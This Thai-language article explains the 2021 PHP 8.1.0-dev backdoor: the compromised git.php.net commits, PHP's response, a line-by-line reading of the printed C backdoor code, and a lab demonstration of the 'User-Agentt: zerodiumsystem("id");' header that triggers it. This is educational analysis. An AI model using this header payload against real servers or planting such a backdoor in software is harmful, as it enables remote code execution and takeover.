จากสัปดาห์ที่แล้วได้มีการพูดถึงช่องโหว่ PHP-CGI RCE (CVE-2024–4577) กันไป (สามารถอ่านเพิ่มเติมได้ที่ลิงก์นี้เลยครับ https://datafarm-cybersecurity.medium.com/%E0%B8%97%E0%B8%B3%E0%B8%84%E0%B8%A7%E0%B8%B2%E0%B8%A1%E0%B8%A3%E0%B8%B9%E0%B9%89%E0%B8%88%E0%B8%B1%E0%B8%81%E0%B8%8A%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B9%82%E0%B8%AB%E0%B8%A7%E0%B9%88-php-cgi-rce-cve-2024-4577-6369e46453c4) ส่วนในสัปดาห์นี้ผมจะพาไปรู้จักกับช่องโหว่ที่รุนแรงในปี 2021 ของ PHP อย่าง PHP 8.1.0-Dev Backdoor RCE กันครับ
เมื่อวันที่ 28 มีนาคม 2021 ซอร์สโค้ดของ PHP เวอร์ชัน 8.1.0-dev ได้เปิดตัวพร้อมกับ backdoor แต่ backdoor ถูกค้นพบและลบออกอย่างรวดเร็ว
โดยความรุนแรงของช่องโหว่นี้คือ เมื่อ PHP เวอร์ชันนี้ถูกรันอยู่บนเซิร์ฟเวอร์ ผู้โจมตีสามารถทำ Remote Code Execution (RCE) ได้โดยการเพิ่มค่า User-Agentt ไปยัง HTTP headers ครับ
1. The Background Story
1.1 การแทรกโค้ดที่ร้ายแรงไปยัง PHP Source Code
เมื่อวันที่ 28 มีนาคม 2021 ทาง PHP Git Repository ได้เพิ่ม commit ที่มีความอันตรายขึ้นไปบน Repository โดยที่ใช้บัญชีชื่อของ PHP creator คือ Rasmus Lerdorf และบัญชีของ maintainer ที่ชื่อ Nikita Popov.
การ commit เหล่านี้ เริ่มแรกดูเหมือนเป็นการแก้ไขการพิมพ์ผิดเล็กน้อย แต่ในความเป็นจริงมี backdoor ที่ถูกซ่อนอยู่ ซึ่งเป็นช่องทางสำหรับ Remote Code Execution (RCE) ผ่าน HTTP headers ที่ชื่อ User-Agentt
1.2 การสืบสวนเกี่ยวกับเหตุการณ์ที่เกิดขึ้น
1.2.1 การค้นพบและการลบ backdoor
- ในช่วงแรก มีการค้นพบว่ามี commit ที่มีลักษณะเป็นการแก้ไขข้อผิดพลาดเล็กน้อยถูกนำเข้าใน repository ของ PHP ซึ่งจริง ๆ แล้วมีการแทรกโค้ดที่เป็น backdoor
- การตรวจพบนี้ทำให้ทีมพัฒนา PHP ดำเนินการลบโค้ดที่เป็นอันตรายออกอย่างรวดเร็วเพื่อป้องกันไม่ให้เกิดการโจมตีเพิ่มเติม
1.2.2 การตรวจสอบที่มาของการโจมตี
- ทีมพัฒนา PHP ได้สืบสวนพบว่า การ commit ที่เป็นอันตรายนี้ถูกนำเข้ามาโดยใช้ชื่อของ Rasmus Lerdorf และ Nikita Popov แต่ไม่ได้มาจากพวกเขาจริง ๆ
- ข้อมูลทั้งหมดชี้ให้เห็นว่าการโจมตีเกิดจากการที่เซิร์ฟเวอร์ git.php.net ถูกโจมตี (ไม่ใช่จากการโจมตีไปที่บัญชี git ส่วนบุคคลทีละบัญชี)
- git.php.net คือเซิร์ฟเวอร์ Git repository ที่ถูกใช้โดยทีมพัฒนา PHP สำหรับการจัดการโค้ดซอร์สของ PHP ซึ่งรวมถึงการติดตามการเปลี่ยนแปลงโค้ด การทำงานร่วมกันของนักพัฒนา และการจัดเก็บ commit ทั้งหมดที่เกี่ยวข้องกับการพัฒนา PHP ในเวอร์ชันต่าง ๆ
1.2.3 การเปลี่ยนแปลงโครงสร้างพื้นฐานด้านความปลอดภัย
- เนื่องจากการโจมตีที่เกิดขึ้นในเหตุการณ์นี้ ทางทีมพัฒนา PHP ได้ตัดสินใจย้ายจากการใช้เซิร์ฟเวอร์ git.php.net ไปใช้ GitHub เป็น repository หลักแทน เพื่อลดความเสี่ยงในการถูกโจมตีในอนาคต
1.2.4 การปรับปรุงมาตรการรักษาความปลอดภัย
- การย้ายไปใช้ GitHub มาพร้อมกับการบังคับใช้มาตรการรักษาความปลอดภัยที่เข้มงวดมากขึ้น เช่น การบังคับใช้การยืนยันตัวตนสองขั้นตอน (2FA) สำหรับพนักงานทุกคนในองค์กร PHP บน GitHub
- มีการตรวจสอบ repository เพื่อค้นหาการเปลี่ยนแปลงที่ไม่พึงประสงค์อื่น ๆ ที่อาจเกิดขึ้นจากการโจมตีครั้งนี้
1.2.5 การยืนยันและประกาศ
- Nikita Popov หนึ่งในผู้ดูแล (maintainer) ของ PHP ได้ประกาศเกี่ยวกับเหตุการณ์นี้และสรุปผลการสืบสวนเบื้องต้น
2. การทำงานของโค้ด backdoor
คำสั่งนี้เป็นส่วนหนึ่งของโค้ด PHP ที่ถูกใช้ในการฝัง backdoor เพื่อให้ผู้โจมตีสามารถทำ Remote Code Execution (RCE) ได้ โดยการส่งค่า HTTP header เฉพาะ คำสั่งนี้ถูกเขียนด้วยภาษา C ซึ่งเป็นภาษาที่ใช้พัฒนา PHP โดยภายในคำสั่งนี้มีการตรวจสอบและดำเนินการ ดังนี้
zval *enc;
if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
convert_to_string(enc);
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
} zend_catch {
} zend_end_try();
}
}
เริ่มแรกนั้นจะทำการประกาศตัวแปร enc ซึ่งจะใช้เก็บข้อมูลที่ดึงมาจาก header ของ HTTP
zval *enc;
จากนั้นจะตรวจสอบว่าตัวแปร $_SERVER มี type เป็น Array หรือเป็น Global String อยู่หรือไม่ ถ้าหากตรงตามเงื่อนไข จะค้นหา header ที่ชื่อว่า HTTP_USER_AGENTT ในตัวแปร $_SERVER และเก็บค่าไว้ใน enc
if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL(“_SERVER”))) &&
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
ถ้าเจอ header HTTP_USER_AGENTT จะทำการแปลงค่าที่พบเป็นสตริง
convert_to_string(enc);
ตรวจสอบว่าสตริงใน enc มีคำว่า “zerodium” หรือไม่
if (strstr(Z_STRVAL_P(enc), “zerodium”)) {
ถ้าพบคำว่า “zerodium” มันจะทำการประมวลผลคำสั่งที่อยู่หลังคำว่า “zerodium” โดยใช้ฟังก์ชัน zend_eval_string ตัวอย่างเช่น ถ้า User-Agentt มีค่าเป็น zerodiumsystem(“id”); โค้ดจะตัดคำว่า “zerodium” ออก แล้วทำการรันคำสั่ง system(“id”); ซึ่งจะทำให้ระบบรันคำสั่ง id และแสดงข้อมูลเกี่ยวกับผู้ใช้บนระบบ
zend_try {
zend_eval_string(Z_STRVAL_P(enc) + 8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
} zend_catch {
} zend_end_try();
โดยสรุปแล้ว คำสั่งนี้ทำหน้าที่ตรวจสอบว่า header “HTTP_USER_AGENTT” มีค่า string ที่เริ่มต้นด้วยคำว่า “zerodium” หรือไม่ คำสั่ง PHP ที่อยู่หลัง “zerodium” จะถูกประมวลผลและรันบนเซิร์ฟเวอร์ ทำให้ผู้โจมตีสามารถรันคำสั่งใด ๆ บนเซิร์ฟเวอร์ได้เพียงแค่ส่ง request ที่มี header ที่กำหนดมาเท่านั้น ซึ่งเป็นช่องโหว่ที่มีความอันตรายสูงมากสำหรับการรักษาความปลอดภัยของเซิร์ฟเวอร์
จากการค้นคว้าเพิ่มเติมพบว่า Zerodium เป็นชื่อของบริษัทรักษาความปลอดภัยที่เชี่ยวชาญในการซื้อขายช่องโหว่แบบ zero-day บนระบบปฏิบัติการต่าง ๆ และแอปพลิเคชันยอดนิยม
ถึงแม้ว่าชื่อ “zerodium” จะปรากฏในโค้ดที่เป็นอันตราย แต่ไม่มีหลักฐานหรือข้อมูลที่สนับสนุนว่า Zerodium มีส่วนเกี่ยวข้องหรือเป็นผู้อยู่เบื้องหลังในการโจมตีครั้งนี้ และคาดว่าการใช้ชื่อ “zerodium” น่าจะเป็นเพียงกลยุทธ์ของผู้โจมตีในการเบี่ยงเบนความสนใจหรือสร้างความเข้าใจผิดเพื่อให้การสืบสวนมีความยุ่งยากมากขึ้นเท่านั้น
3. how to exploit
ตอนนี้เราเข้าใจเบื้องหลังของช่องโหว่นี้แล้ว เรามาจำลองการโจมตีโดยใช้ประโยชน์จากช่องโหว่ PHP เวอร์ชัน 8.1.0-Dev กันดีกว่าครับ
โดยเริ่มแรกนั้น ผู้เขียนได้ทำการสร้างเว็บเซิร์ฟเวอร์เปล่า ๆ ที่ใช้ PHP เวอร์ชันที่มีช่องโหว่ขึ้นมาก่อน
จากนั้นทำการตรวจสอบให้แน่ใจว่าเป็นเวอร์ชันที่มีช่องโหว่โดยใช้เครื่องมือ Burp Suite ในการวิเคราะห์ HTTP Request และ HTTP Response จากผลลัพธ์จะพบว่าเว็บเซิร์ฟเวอร์มีการตอบกลับ HTTP Response ว่ากำลังใช้งาน PHP/8.1.0-dev
ผู้เขียนทำการเพิ่ม Header “User-Agentt: zerodiumsystem(“id”);” จากผลลัพธ์พบว่า คำสั่งถูกประมวลผลและแสดงข้อมูลเกี่ยวกับผู้ใช้บนระบบบน HTTP Response
จบไปแล้วนะครับสำหรับช่องโหว่ที่รุนแรงของ PHP อย่าง PHP 8.1.0-Dev Backdoor RCE ผู้เขียนหวังว่าผู้ที่เข้ามาอ่านจะได้รับความรู้ไม่มากก็น้อย แล้วไว้พบกันใหม่ในบทความหน้าครับ ขอบคุณครับ